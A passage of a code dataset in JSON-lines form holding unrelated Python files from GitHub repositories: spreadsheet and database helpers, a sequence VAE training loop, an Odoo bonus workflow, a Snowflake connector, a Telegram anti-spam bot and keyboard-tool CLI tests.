call.key)\n old_row = find_row_by_id(sheet=calls, item_id=call.key)[0]\n print('TRELLOC: Old Row Index: ', old_row)\n calls.delete_row(old_row)\n chat_name = database.get_group_title(call.chat_id)\n calls.append_row([call.key, chat_name, call.title, str(call.date), str(call.time), call.duration_string, call.description, call.agenda_link, call.calendar_url, botupdate.get_card_url(), botupdate.user.name])\n log(str(utils.now_time()), botupdate.update.effective_chat.id, 'EDITED CALL', chat_name, call.title)\n\n\ndef clear_data():\n \"\"\"\n This method will clear all data in the google spreadsheet. It can be used when testing the program, to easily reset the data when something is broken.\n The data will still remain in the database and the sheet can be repopulated.\n \"\"\"\n # CLEAR GROUPS SHEET\n rows = get_all_rows(sheet=groupchats)\n for row in rows:\n groupchats.delete_row(row)\n\n # CLEAR CALLS SHEET\n rows = get_all_rows(sheet=calls)\n for row in rows:\n calls.delete_row(row)\n\n # CLEAR ARCHIVE SHEET\n rows = get_all_rows(sheet=archive)\n for row in rows:\n archive.delete_row(row)\n\n # LOG CLEARING\n log(str(utils.now_time()), 'ADMIN', 'CLEAR DATA', '')\n print('SHEET: Erased all data')\n\n\ndef find_row_by_id(sheet=groupchats, item_id=\"\", col=1):\n print(\"DATABASE: find_row_by_id()\")\n if(sheet == \"groups\"):\n sheet = groupchats\n elif(sheet == \"calls\"):\n sheet = spreadsheet.worksheet(str(item_id))\n col = 2\n\n column = sheet.col_values(col)\n rows = []\n for num, cell in enumerate(column):\n if str(cell) == str(item_id):\n rows.append(num + 1)\n if rows == []:\n rows.append(None)\n return rows\n\n\ndef get_all_rows(sheet=groupchats):\n rows = sheet.get_all_values()\n rows_index = []\n for row in rows:\n rows_index.append(rows.index(row) + 1)\n rows_index.pop(0)\n return rows_index\n","repo_name":"davidwickerhf/movement-assistant","sub_path":"movement_assistant/modules/sheet.py","file_name":"sheet.py","file_ext":"py","file_size_in_byte":7262,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"72927384227","text":"import sys\nimport os\nimport time\nimport datetime\nimport wandb\n\nimport torch\nfrom torch import nn\nimport torch.optim as optim\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set()\n\nsys.path.append('.')\nsys.path.append('..')\nfrom scripts.seqVAE import SeqVAE, VAELoss\n# from scripts.TransformerVAE import TransformerVAE, VAELoss\nfrom scripts.quick_draw_dataset import QuickDrawDataset\nfrom scripts.plot_result import *\nfrom scripts.print_progress_bar import print_progress_bar\n\n\ndef train_seqVAE(n_epochs, train_loader, valid_loader, model, loss_fn,\n out_dir='', lr=0.001, optimizer_cls=optim.Adam,\n wandb_flag=False, gpu_num=0, conditional=False):\n train_losses, valid_losses = [], []\n train_losses_mse, valid_losses_mse = [], []\n train_losses_kl, valid_losses_kl = [], []\n total_elapsed_time = 0\n early_stopping_counter = 0\n best_test = 1e10\n optimizer = optimizer_cls(model.parameters(), lr=lr)\n\n # device setting\n cuda_flag = torch.cuda.is_available()\n device = torch.device(f'cuda:{gpu_num[0]}' if cuda_flag else 'cpu')\n print('device:', device)\n print(f'Let\\'s use {torch.cuda.device_count()} GPUs!')\n # if len(gpu_num) > 1:\n model = nn.DataParallel(model, device_ids=gpu_num)\n model.to(device)\n\n # acceleration\n scaler = torch.cuda.amp.GradScaler()\n torch.backends.cudnn.benchmark = True\n\n # figure\n fig_reconstructed = plt.figure(figsize=(20, 10))\n fig_latent_space = plt.figure(figsize=(10, 10))\n fig_2D_Manifold = plt.figure(figsize=(10, 10))\n fig_latent_traversal = plt.figure(figsize=(10, 10))\n fig_loss = plt.figure(figsize=(10, 10))\n\n for epoch in range(n_epochs + 1):\n start = time.time()\n\n running_loss = 0.0\n running_loss_mse = 0.0\n running_loss_kl = 0.0\n model.train()\n for i, (x, label) in enumerate(train_loader):\n x = x.to(device)\n\n with torch.cuda.amp.autocast():\n if conditional:\n y, mean, std = model(x, label)\n else:\n y, mean, std = model(x)\n loss_mse, loss_kl = loss_fn(x, y, mean, std)\n\n loss = loss_mse + loss_kl\n\n optimizer.zero_grad()\n scaler.scale(loss).backward()\n scaler.step(optimizer)\n scaler.update()\n\n running_loss += loss.item()\n running_loss_mse += loss_mse.item()\n running_loss_kl += loss_kl.item()\n\n header = f'epoch: {epoch}'\n print_progress_bar(i, len(train_loader), end='', header=header)\n\n train_loss = running_loss / len(train_loader)\n train_loss_mse = running_loss_mse / len(train_loader)\n train_loss_kl = running_loss_kl / len(train_loader)\n train_losses.append(train_loss)\n train_losses_mse.append(train_loss_mse)\n train_losses_kl.append(train_loss_kl)\n\n running_loss = 0.0\n running_loss_mse = 0.0\n running_loss_kl = 0.0\n valid_mean = []\n valid_label = []\n model.eval()\n for x, label in valid_loader:\n x = x.to(device)\n\n with torch.cuda.amp.autocast():\n if conditional:\n y, mean, std = model(x, label)\n else:\n y, mean, std = model(x)\n loss_mse, loss_kl = loss_fn(x, y, mean, std)\n\n loss = loss_mse + loss_kl\n\n running_loss += loss.item()\n running_loss_mse += loss_mse.item()\n running_loss_kl += loss_kl.item()\n\n if len(valid_mean) * mean.shape[0] < 1000:\n valid_mean.append(mean)\n valid_label.append(label)\n\n valid_loss = running_loss / len(valid_loader)\n valid_loss_mse = running_loss_mse / len(valid_loader)\n valid_loss_kl = running_loss_kl / len(valid_loader)\n valid_losses.append(valid_loss)\n valid_losses_mse.append(valid_loss_mse)\n valid_losses_kl.append(valid_loss_kl)\n valid_mean = torch.cat(valid_mean, dim=0)\n valid_label = torch.cat(valid_label, dim=0)\n\n end = time.time()\n elapsed_time = end - start\n total_elapsed_time += elapsed_time\n\n log = '\\r\\033[K' + f'epoch: {epoch}'\n log += ' train loss: {:.6f} ({:.6f}, {:.6f})'.format(\n train_loss, train_loss_mse, train_loss_kl)\n log += ' valid loss: {:.6f} ({:.6f}, {:.6f})'.format(\n valid_loss, valid_loss_mse, valid_loss_kl)\n log += ' elapsed time: {:.3f}'.format(elapsed_time)\n log += ' early stopping: {}'.format(early_stopping_counter)\n print(log)\n\n if epoch % 100 == 0:\n model_param_dir = os.path.join(out_dir, 'model_param')\n if not os.path.exists(model_param_dir):\n os.mkdir(model_param_dir)\n path_model_param = os.path.join(\n model_param_dir,\n 'model_param_{:06d}.pt'.format(epoch))\n torch.save(model.state_dict(), path_model_param)\n if wandb_flag:\n wandb.save(path_model_param)\n\n # save checkpoint\n path_checkpoint = os.path.join(out_dir, 'checkpoint.pt')\n torch.save({\n 'epoch': epoch,\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss': loss,\n }, path_checkpoint)\n\n # plot loss\n fig_loss.clf()\n plot_losses(fig_loss, train_losses, valid_losses,\n train_losses_mse, valid_losses_mse,\n train_losses_kl, valid_losses_kl)\n fig_loss.savefig(os.path.join(out_dir, 'loss.png'))\n\n # show output\n if epoch % 10 == 0:\n fig_reconstructed.clf()\n plot_reconstructed(fig_reconstructed, x, y, col=10, epoch=epoch)\n fig_reconstructed.savefig(\n os.path.join(out_dir, 'reconstructed.png'))\n\n fig_latent_space.clf()\n plot_latent_space(fig_latent_space, valid_mean,\n valid_label, epoch=epoch)\n fig_latent_space.savefig(\n os.path.join(out_dir, 'latent_space.png'))\n\n if conditional:\n label = label[0]\n else:\n label = None\n\n fig_2D_Manifold.clf()\n plot_2D_Manifold(fig_2D_Manifold, model.module, device,\n z_sumple=valid_mean, col=20,\n epoch=epoch, label=label)\n fig_2D_Manifold.savefig(\n os.path.join(out_dir, '2D_Manifold.png'))\n\n fig_latent_traversal.clf()\n plot_latent_traversal(fig_latent_traversal, model.module, device,\n row=valid_mean.shape[1], col=10,\n epoch=epoch, label=label)\n fig_latent_traversal.savefig(\n os.path.join(out_dir, 'latent_traversal.png'))\n\n if wandb_flag:\n wandb.log({\n 'epoch': epoch,\n 'reconstructed': wandb.Image(fig_reconstructed),\n 'latent_space': wandb.Image(fig_latent_space),\n '2D_Manifold': wandb.Image(fig_2D_Manifold),\n 'latent_traversal': wandb.Image(fig_latent_traversal),\n })\n\n # wandb\n if wandb_flag:\n wandb.log({\n 'epoch': epoch,\n 'iteration': len(train_loader) * epoch,\n 'train_loss': train_loss,\n 'train_loss_mse': train_loss_mse,\n 'train_loss_kl': train_loss_kl,\n 'valid_loss': valid_loss,\n 'valid_loss_mse': valid_loss_mse,\n 'valid_loss_kl': valid_loss_kl,\n })\n wandb.save(path_checkpoint)\n\n if valid_loss < best_test:\n best_test = valid_loss\n early_stopping_counter = 0\n\n # save model\n path_model_param_best = os.path.join(\n out_dir, 'model_param_best.pt')\n torch.save(model.state_dict(), path_model_param_best)\n if wandb_flag:\n wandb.save(path_model_param_best)\n\n else:\n # Early Stopping\n early_stopping_counter += 1\n if early_stopping_counter >= 1000:\n print('Early Stopping!')\n break\n\n print('total elapsed time: {} [s]'.format(total_elapsed_time))\n\n\ndef main(args):\n train_dataset = QuickDrawDataset(args.data_path, split='train')\n valid_dataset = QuickDrawDataset(args.data_path, split='valid',\n max_length=train_dataset.max_length)\n\n train_loader = torch.utils.data.DataLoader(\n train_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n num_workers=8,\n # pin_memory=True,\n )\n valid_loader = torch.utils.data.DataLoader(\n valid_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n num_workers=8,\n # pin_memory=True,\n drop_last=True,\n )\n\n x, label = train_dataset[0]\n model = SeqVAE(z_dim=5, input_dim=x.shape[-1], label_dim=10)\n # model = TransformerVAE(z_dim=10, input_dim=2)\n\n if not os.path.exists('results'):\n os.mkdir('results')\n out_dir = 'results/' + datetime.datetime.now().strftime('%Y%m%d_%H%M%S')\n os.mkdir(out_dir)\n\n if args.wandb:\n wandb.init(project='SeqVAE')\n wandb.watch(model)\n\n config = wandb.config\n\n config.data_path = args.data_path\n config.epoch = args.epoch\n config.batch_size = args.batch_size\n config.learning_rate = args.learning_rate\n config.gpu_num = args.gpu_num\n\n config.train_data_num = len(train_dataset)\n config.valid_data_num = len(valid_dataset)\n\n train_seqVAE(\n n_epochs=args.epoch,\n train_loader=train_loader,\n valid_loader=valid_loader,\n model=model,\n loss_fn=VAELoss(),\n out_dir=out_dir,\n lr=args.learning_rate,\n wandb_flag=args.wandb,\n gpu_num=args.gpu_num,\n conditional=args.conditional,\n )\n\n\ndef argparse():\n from argparse import ArgumentParser\n parser = ArgumentParser()\n parser.add_argument('--data_path', type=str, default='mnist')\n parser.add_argument('--epoch', type=int, default=10000)\n parser.add_argument('--batch_size', type=int, default=10000)\n parser.add_argument('--learning_rate', type=float, default=0.001)\n parser.add_argument('--wandb', action='store_true')\n tp = lambda x:list(map(int, x.split(',')))\n parser.add_argument('--gpu_num', type=tp, default='0')\n parser.add_argument('--conditional', action='store_true')\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = argparse()\n main(args)\n","repo_name":"yamaneco28/Sketch-RNN","sub_path":"scripts/train_seqVAE.py","file_name":"train_seqVAE.py","file_ext":"py","file_size_in_byte":10853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"6123342952","text":"# from connect import start_session\nfrom database.connect import start_session\n# from schema import *\nfrom database.schema import *\nfrom typing import Dict, List, Tuple\nfrom uuid import UUID\nfrom decimal import Decimal\nfrom sqlalchemy import desc\n\nfrom functools import wraps\n\nsession = start_session()\n\ndef session_committer(func):\n \"\"\"Decorator to commit the DB session.\n\n Use this from high-level functions such as handler so that the session is always committed or\n closed.\n\n \"\"\"\n @wraps(func)\n def wrapper(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n finally:\n commit_session()\n\n return wrapper\n\n\ndef commit_session(_raise=True):\n if not session:\n return\n try:\n session.commit()\n except Exception:\n session.rollback()\n if _raise:\n raise\n\ndef get_customers()->Tuple[Customer]:\n customers = session.query(Customer).all()\n return [customer.to_json() for customer in customers]\n\ndef get_customer(id: UUID)->Customer:\n if(id != None):\n return session.query(Customer).get(id)\n return \n\ndef create_customer(customer_data)->Customer:\n customer = Customer(**customer_data)\n session.add(customer)\n session.commit()\n return customer\n \ndef get_user_investments(user_id:UUID)->Tuple[Investment]:\n if(user_id != None):\n return session.query(Investment).\\\n filter(Investment.customer_id == user_id).\\\n all()\n return None\n\ndef create_investment(investment_data)->Investment:\n investment = Investment(**investment_data)\n session.add(investment)\n session.commit()\n return investment\n\n\n\ndef get_last_balance(user_id:UUID)->Balance:\n if(user_id != None):\n return session.query(Balance).\\\n filter(Balance.customer_id == user_id).\\\n order_by(desc(Balance.date_time)).\\\n first()\n return None\n\ndef add_amount_to_balance(user_id:UUID, amount:Decimal)->Balance:\n user = get_customer(user_id)\n oldAmount=0\n if(user != None):\n balance=get_last_balance(user_id)\n if(balance != None):\n oldAmount=balance.amount\n newBalance=Balance(\n customer_id=user_id,\n amount=oldAmount+amount,\n balance_type=\"InterimAvailable\") \n session.add(newBalance)\n session.commit()\n return newBalance\n\ndef get_transactions(user_id:UUID)->Tuple[Transaction]:\n if(user_id != None):\n return session.query(Transaction).\\\n filter(Transaction.customer_id == user_id).\\\n all()\n return None\n\n\ndef get_last_transactions(user_id:UUID, rows=5)->Tuple[Transaction]:\n if(user_id != None):\n return session.query(Transaction).\\\n filter(Transaction.customer_id == user_id).\\\n limit(rows).\\\n all()\n return None\n\ndef get_transactions_by_investment(invest_id)->Tuple[Transaction]:\n if(invest_id != None):\n return session.query(Transaction).\\\n filter(Transaction.investment_id == invest_id).\\\n all()\n return None\n\ndef get_investment_invested_amount(invest_id)->Decimal:\n if(invest_id != None):\n investments = get_transactions_by_investment(invest_id)\n amount=0\n for investment in investments:\n amount += investment.amount\n return amount\n return None\n\ndef create_transaction(transaction_data)->Transaction:\n transaction = Transaction(**transaction_data)\n session.add(transaction)\n session.commit()\n return transaction\n\ndef get_investment_type(investment_type_id:int)->InvestmentType:\n return session.query(InvestmentType).\\\n filter(InvestmentType.id == investment_type_id).\\\n first()\n\ndef get_investment_types():\n return session.query(InvestmentType).all()\n\ndef create_investment_type(investment_type_data)->InvestmentType:\n invest_type = InvestmentType(**investment_type_data)\n session.add(invest_type)\n session.commit()\n return invest_type\n\ndef get_goal(goal_id: UUID):\n return session.query(Goal).\\\n filter(Goal.id == goal_id).\\\n first()\n\ndef get_user_goals(user_id:UUID):\n return session.query(Goal).\\\n filter(Goal.customer_id == user_id).\\\n all()\n\ndef get_goal_children(goal_id):\n return session.query(Goal).\\\n filter(Goal.parent_id == goal_id).\\\n all()\n\ndef create_goal(goal_data)-> Goal:\n goal = Goal(**goal_data)\n session.add(goal)\n session.commit()\n return goal\n\ndef get_all_goal_types()->Tuple[GoalType]:\n return session.query(GoalType).\\\n all()\n\ndef get_goal_type(goal_type_id:int)->GoalType:\n return session.query(GoalType).\\\n filter(GoalType.id == goal_type_id).\\\n first()\n\ndef create_goal_type(goal_type_data)->GoalType:\n goal_type = GoalType(**goal_type_data)\n session.add(goal_type)\n session.commit()\n return goal_type\n\ndef get_goal_total_invested(goal_id:UUID)->Decimal:\n invested=0\n goal = get_goal(goal_id)\n if(goal != None):\n children = get_goal_children(goal_id)\n goals_ids = [child.id for child in children]\n goals_ids.append(goal_id)\n transactions = get_transactions(goal.customer_id)\n for transaction in transactions:\n if(transaction.goal_id in goals_ids):\n invested+=transaction.amount\n return invested\n\ndef get_goal_completion(goal_id:UUID)->Decimal:\n goal = get_goal(goal_id)\n invested=0\n if(goal != None):\n invested=get_goal_total_invested(goal_id)\n if(goal.amount > 0):\n return invested/goal.amount\n return 0\n\n\ndef complete_goal(goal_id:UUID)-> Goal:\n if(goal_id != None):\n goal:Goal = session.query(Goal).get(goal_id)\n if(goal != None):\n goal.completed = True\n session.commit()\n return goal\n return None\n\ndef deactivate_goal(goal_id:UUID)->Goal:\n if(goal_id != None):\n goal:Goal = session.query(Goal).get(id)\n if(goal != None): \n goal.active = False\n session.commit()\n return goal\n return None\n\n\n\n\n\n\n\n","repo_name":"andregama/rethink-backend","sub_path":"database/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":6212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39624933970","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, api, tools, fields, _, exceptions\n\n\nclass EDocument(models.Model):\n _inherit = 'e.document'\n\n show_exclude_data_from_du_aspi = fields.Boolean(compute='_compute_show_exclude_data_from_du_aspi')\n\n @api.multi\n @api.depends('template_id')\n def _compute_show_exclude_data_from_du_aspi(self):\n company_setting_enabled = self.env.user.company_id.allow_exclude_data_from_du_aspi_report\n for rec in self.filtered(\n lambda t: t.template_id == self.env.ref('e_document.isakymas_del_priedo_skyrimo_grupei_template')):\n rec.show_exclude_data_from_du_aspi = company_setting_enabled\n\n @api.multi\n def isakymas_del_priedo_skyrimo_grupei_workflow(self):\n lines = self.get_document_lines()\n date_from, date_to = self._get_bonus_payment_dates()\n bonuses = self.env['hr.employee.bonus']\n employees_ids = lines.mapped('employee_id2').ids\n for line in lines:\n bonus_rec = self.env['hr.employee.bonus'].create({\n 'employee_id': line.employee_id2.id,\n 'for_date_from': self.date_1,\n 'for_date_to': self.date_2,\n 'payment_date_from': date_from,\n 'payment_date_to': date_to,\n 'bonus_type': self.bonus_type_selection,\n 'amount': line.float_1,\n 'amount_type': self.bonus_input_type,\n 'related_document': self.id,\n 'exclude_bonus_from_du_aspi': self.bool_1,\n })\n bonus_rec.confirm()\n bonuses += bonus_rec\n self.write({\n 'record_model': 'hr.employee.bonus',\n 'record_ids': self.format_record_ids(bonuses.ids),\n })\n\n self.inform_about_payslips_that_need_to_be_recomputed(employees_ids, date_from, date_to)","repo_name":"websharp950223/financing","sub_path":"robo_verslas/gemma/templates/orders/del_priedo_skyrimo_grupei/del_priedo_skyrimo_grupei.py","file_name":"del_priedo_skyrimo_grupei.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34012477468","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ngitsuggest.utilities test\n~~~~~~~~~~\n\nUsage from git root:\n\n >>> python setup.py test\n\"\"\"\n\nimport unittest\n\nfrom gitsuggest import ReposToHTML\n\n\nclass ReposToHTMLTest(unittest.TestCase):\n \"\"\"Class to test :class:`ReposToHTML` functionality.\"\"\"\n\n def test_get_html(self):\n \"\"\"Tests convertion of repository object list to HTML page.\"\"\"\n\n class SampleRepo(object):\n \"\"\"Class to represent a repository.\"\"\"\n\n def __init__(self, name, description):\n \"\"\"Constructor.\n\n :param name: Name of the repository.\n :param description: Description of the repository.\n \"\"\"\n self.full_name = name\n self.description = description\n\n repo_list = [SampleRepo('userA/proA', 'A Desc'),\n SampleRepo('userB/proB', 'B Desc'),\n SampleRepo('userC/proC', 'C Desc')]\n\n r2h = ReposToHTML(repo_list)\n page = r2h.get_html()\n\n # Assert structure of HTML page.\n self.assertTrue(page.startswith(''))\n self.assertTrue(page.endswith(''))\n self.assertEqual(page.count('section class'), len(repo_list))\n\n # Assert contents of HTML page.\n for repo in repo_list:\n title = repo.full_name\n description = repo.description\n link = ReposToHTML.GITHUB_URL + title\n self.assertEqual(page.count(title), 1 + 2) # Title + Links\n self.assertEqual(page.count(description), 1) # Description\n self.assertEqual(page.count(link), 2) # Links\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"adolfoeliazat/gitsuggest","sub_path":"tests/test_utilities.py","file_name":"test_utilities.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"70"} +{"seq_id":"42865636083","text":"from zcomcule_ml_commons.connector import *\nimport pandas as pd\nimport snowflake.connector\nfrom inditex_anomaly_detector.utils.logging_debugging import common_print\n\nclass Source:\n\n def __init__(self, name, creds_dict=None):\n self._name = name\n self._creds_dict = creds_dict\n\n @property\n def name(self):\n return self._name\n\n\nclass SnowflakeSource(Source):\n\n def __init__(self, name, creds_dict=None):\n super().__init__(name, creds_dict)\n self._conector = SnowflakeConnectorPandas(**self._creds_dict)\n\n def fetch(self, query, size):\n try:\n try:\n from pyspark.dbutils import DBUtils\n from pyspark.sql import SparkSession\n dbut=DBUtils(SparkSession.builder.getOrCreate())\n except ImportError:\n common_print(\"error getting dbutils\", \"\")\n di = {\n 'user': dbut.secrets.get(scope=self._creds_dict['keyvault'], key=self._creds_dict['user']),\n 'password': dbut.secrets.get(scope=self._creds_dict['keyvault'], key=self._creds_dict['password']),\n 'account': dbut.secrets.get(scope=self._creds_dict['keyvault'], key=self._creds_dict['url']),\n 'warehouse': self._creds_dict['warehouse'],\n 'database': self._creds_dict['database'],\n 'schema': self._creds_dict['schema'],\n 'role': \"R_DIGITALDATA_PIPELINE\"\n }\n except:\n di = {\n 'user': self._creds_dict['user'],\n 'password': self._creds_dict['password'],\n 'account': self._creds_dict['url'],\n 'warehouse': self._creds_dict['warehouse'],\n 'database': self._creds_dict['database'],\n 'schema': self._creds_dict['schema'],\n 'role': \"R_DIGITALDATA_PIPELINE\"\n }\n\n common_print(\"creds_dict post\", di)\n conn = snowflake.connector.connect(**di)\n dataset = pd.DataFrame()\n cs = conn.cursor()\n cs.execute(query)\n while True:\n dat = cs.fetchmany(size)\n dat = pd.DataFrame(dat, columns=[c[0] for c in cs.description])\n if dat.empty:\n break\n dataset = pd.concat([dataset, pd.DataFrame(dat)])\n\n #return self._conector.read(query, size)\n return dataset\n\n def write(self, dataframe, table, mode):\n return self._conector.write(dataframe, table, mode, 10000000)\n\n def createas(self, query):\n self._conector.execute_createas(query)\n\n def insert(self, query):\n return self._conector.execute_update_insert(query)\n\n def close(self):\n self._conector.close_connection()\n\n def create_if_exists(self, table, schema):\n try:\n self._conector.exists(table)\n except:\n self._conector.create(table, schema)\n\n def if_exists(self, table):\n try:\n self._conector.exists(table)\n return True\n except:\n return False","repo_name":"sergioreyblanco/anomaly_detector_backend","sub_path":"inditex_anomaly_detector/training/streams_sources/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4401256056","text":"from telegram.ext import Updater, MessageHandler, Filters\nimport logging\nimport time\nimport threading\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nupdater = Updater(token= '')\n\ndispatcher = updater.dispatcher\n\nupdater.start_polling()\n\nrecently_joined = {}\n\ndef handleMessage(bot, update):\n if(\"https://t.me\" in update.message.text):\n if (update.message.from_user.username in recently_joined):\n bot.kickChatMember(update.message.chat.id, update.message.from_user.id)\n bot.deleteMessage(update.message.chat.id, update.message.message_id)\n\ndef handleGroupJoin(bot, update):\n if(update.message.new_chat_member != None):\n recently_joined[update.message.new_chat_member.username] = int(time.time())\n\nmessage_handler = MessageHandler(Filters.text, handleMessage)\ngroupjoin_handler = MessageHandler(Filters.group, handleGroupJoin)\n\ndispatcher.add_handler(message_handler)\ndispatcher.add_handler(groupjoin_handler)\n\n\n# Delete the user from the recently_joined group after 10 minutes\ndef clean_joined():\n while(True):\n for key in recently_joined.keys():\n value = recently_joined[key]\n if(int(time.time()) - value > 30):\n del recently_joined[key]\n time.sleep(10)\n\nthreading.Thread(target=clean_joined()).start()\n","repo_name":"jbleyaert/gvt-chatbot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16003411664","text":"import itertools\nimport os\nimport resource\nimport sys\nimport subprocess\nimport logging\nimport tempfile\nimport unittest\n\n\ntry:\n top_builddir = os.environ[\"top_builddir\"]\n top_srcdir = os.environ[\"top_srcdir\"]\nexcept KeyError:\n print(\n \"Required environment variables not found: top_srcdir/top_builddir\",\n file=sys.stderr,\n )\n from pathlib import Path\n\n top_srcdir = \".\"\n try:\n top_builddir = next(Path(\".\").glob(\"**/meson-logs/\")).parent\n except StopIteration:\n sys.exit(1)\n print(\n 'Using srcdir \"{}\", builddir \"{}\"'.format(top_srcdir, top_builddir),\n file=sys.stderr,\n )\n\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(\"test\")\nlogger.setLevel(logging.DEBUG)\n\n# Permutation of RMLVO that we use in multiple tests\nrmlvos = [\n list(x)\n for x in itertools.permutations(\n [\"--rules=evdev\", \"--model=pc104\", \"--layout=ch\", \"--options=eurosign:5\"]\n )\n]\n\n\ndef _disable_coredump():\n resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n\n\ndef run_command(args):\n logger.debug(\"run command: {}\".format(\" \".join(args)))\n\n try:\n p = subprocess.run(\n args,\n preexec_fn=_disable_coredump,\n capture_output=True,\n text=True,\n timeout=0.7,\n )\n return p.returncode, p.stdout, p.stderr\n except subprocess.TimeoutExpired as e:\n return 0, e.stdout, e.stderr\n\n\nclass XkbcliTool:\n xkbcli_tool = \"xkbcli\"\n subtool = None\n\n def __init__(self, subtool=None, skipIf=(), skipError=()):\n self.tool_path = top_builddir\n self.subtool = subtool\n self.skipIf = skipIf\n self.skipError = skipError\n\n def run_command(self, args):\n for condition, reason in self.skipIf:\n if condition:\n raise unittest.SkipTest(reason)\n if self.subtool is not None:\n tool = \"{}-{}\".format(self.xkbcli_tool, self.subtool)\n else:\n tool = self.xkbcli_tool\n args = [os.path.join(self.tool_path, tool)] + args\n\n return run_command(args)\n\n def run_command_success(self, args):\n rc, stdout, stderr = self.run_command(args)\n if rc != 0:\n for testfunc, reason in self.skipError:\n if testfunc(rc, stdout, stderr):\n raise unittest.SkipTest(reason)\n assert rc == 0, (rc, stdout, stderr)\n return stdout, stderr\n\n def run_command_invalid(self, args):\n rc, stdout, stderr = self.run_command(args)\n assert rc == 2, (rc, stdout, stderr)\n return rc, stdout, stderr\n\n def run_command_unrecognized_option(self, args):\n rc, stdout, stderr = self.run_command(args)\n assert rc == 2, (rc, stdout, stderr)\n assert stdout.startswith(\"Usage\") or stdout == \"\"\n assert \"unrecognized option\" in stderr\n\n def run_command_missing_arg(self, args):\n rc, stdout, stderr = self.run_command(args)\n assert rc == 2, (rc, stdout, stderr)\n assert stdout.startswith(\"Usage\") or stdout == \"\"\n assert \"requires an argument\" in stderr\n\n def __str__(self):\n return str(self.subtool)\n\n\nclass TestXkbcli(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.xkbcli = XkbcliTool()\n cls.xkbcli_list = XkbcliTool(\n \"list\",\n skipIf=(\n (\n not int(os.getenv(\"HAVE_XKBCLI_LIST\", \"1\")),\n \"xkbregistory not enabled\",\n ),\n ),\n )\n cls.xkbcli_how_to_type = XkbcliTool(\"how-to-type\")\n cls.xkbcli_compile_keymap = XkbcliTool(\"compile-keymap\")\n cls.xkbcli_interactive_evdev = XkbcliTool(\n \"interactive-evdev\",\n skipIf=(\n (\n not int(os.getenv(\"HAVE_XKBCLI_INTERACTIVE_EVDEV\", \"1\")),\n \"evdev not enabled\",\n ),\n (not os.path.exists(\"/dev/input/event0\"), \"event node required\"),\n (\n not os.access(\"/dev/input/event0\", os.R_OK),\n \"insufficient permissions\",\n ),\n ),\n skipError=(\n (\n lambda rc, stdout, stderr: \"Couldn't find any keyboards\" in stderr,\n \"No keyboards available\",\n ),\n ),\n )\n cls.xkbcli_interactive_x11 = XkbcliTool(\n \"interactive-x11\",\n skipIf=(\n (\n not int(os.getenv(\"HAVE_XKBCLI_INTERACTIVE_X11\", \"1\")),\n \"x11 not enabled\",\n ),\n (not os.getenv(\"DISPLAY\"), \"DISPLAY not set\"),\n ),\n )\n cls.xkbcli_interactive_wayland = XkbcliTool(\n \"interactive-wayland\",\n skipIf=(\n (\n not int(os.getenv(\"HAVE_XKBCLI_INTERACTIVE_WAYLAND\", \"1\")),\n \"wayland not enabled\",\n ),\n (not os.getenv(\"WAYLAND_DISPLAY\"), \"WAYLAND_DISPLAY not set\"),\n ),\n )\n cls.all_tools = [\n cls.xkbcli,\n cls.xkbcli_list,\n cls.xkbcli_how_to_type,\n cls.xkbcli_compile_keymap,\n cls.xkbcli_interactive_evdev,\n cls.xkbcli_interactive_x11,\n cls.xkbcli_interactive_wayland,\n ]\n\n def test_help(self):\n # --help is supported by all tools\n for tool in self.all_tools:\n with self.subTest(tool=tool):\n stdout, stderr = tool.run_command_success([\"--help\"])\n assert stdout.startswith(\"Usage:\")\n assert stderr == \"\"\n\n def test_invalid_option(self):\n # --foobar generates \"Usage:\" for all tools\n for tool in self.all_tools:\n with self.subTest(tool=tool):\n tool.run_command_unrecognized_option([\"--foobar\"])\n\n def test_xkbcli_version(self):\n # xkbcli --version\n stdout, stderr = self.xkbcli.run_command_success([\"--version\"])\n assert stdout.startswith(\"1\")\n assert stderr == \"\"\n\n def test_xkbcli_too_many_args(self):\n self.xkbcli.run_command_invalid([\"a\"] * 64)\n\n def test_compile_keymap_args(self):\n for args in (\n [\"--verbose\"],\n [\"--rmlvo\"],\n # ['--kccgst'],\n [\"--verbose\", \"--rmlvo\"],\n # ['--verbose', '--kccgst'],\n ):\n with self.subTest(args=args):\n self.xkbcli_compile_keymap.run_command_success(args)\n\n def test_compile_keymap_rmlvo(self):\n for rmlvo in rmlvos:\n with self.subTest(rmlvo=rmlvo):\n self.xkbcli_compile_keymap.run_command_success(rmlvo)\n\n def test_compile_keymap_include(self):\n for args in (\n [\"--include\", \".\", \"--include-defaults\"],\n [\"--include\", \"/tmp\", \"--include-defaults\"],\n ):\n with self.subTest(args=args):\n # Succeeds thanks to include-defaults\n self.xkbcli_compile_keymap.run_command_success(args)\n\n def test_compile_keymap_include_invalid(self):\n # A non-directory is rejected by default\n args = [\"--include\", \"/proc/version\"]\n 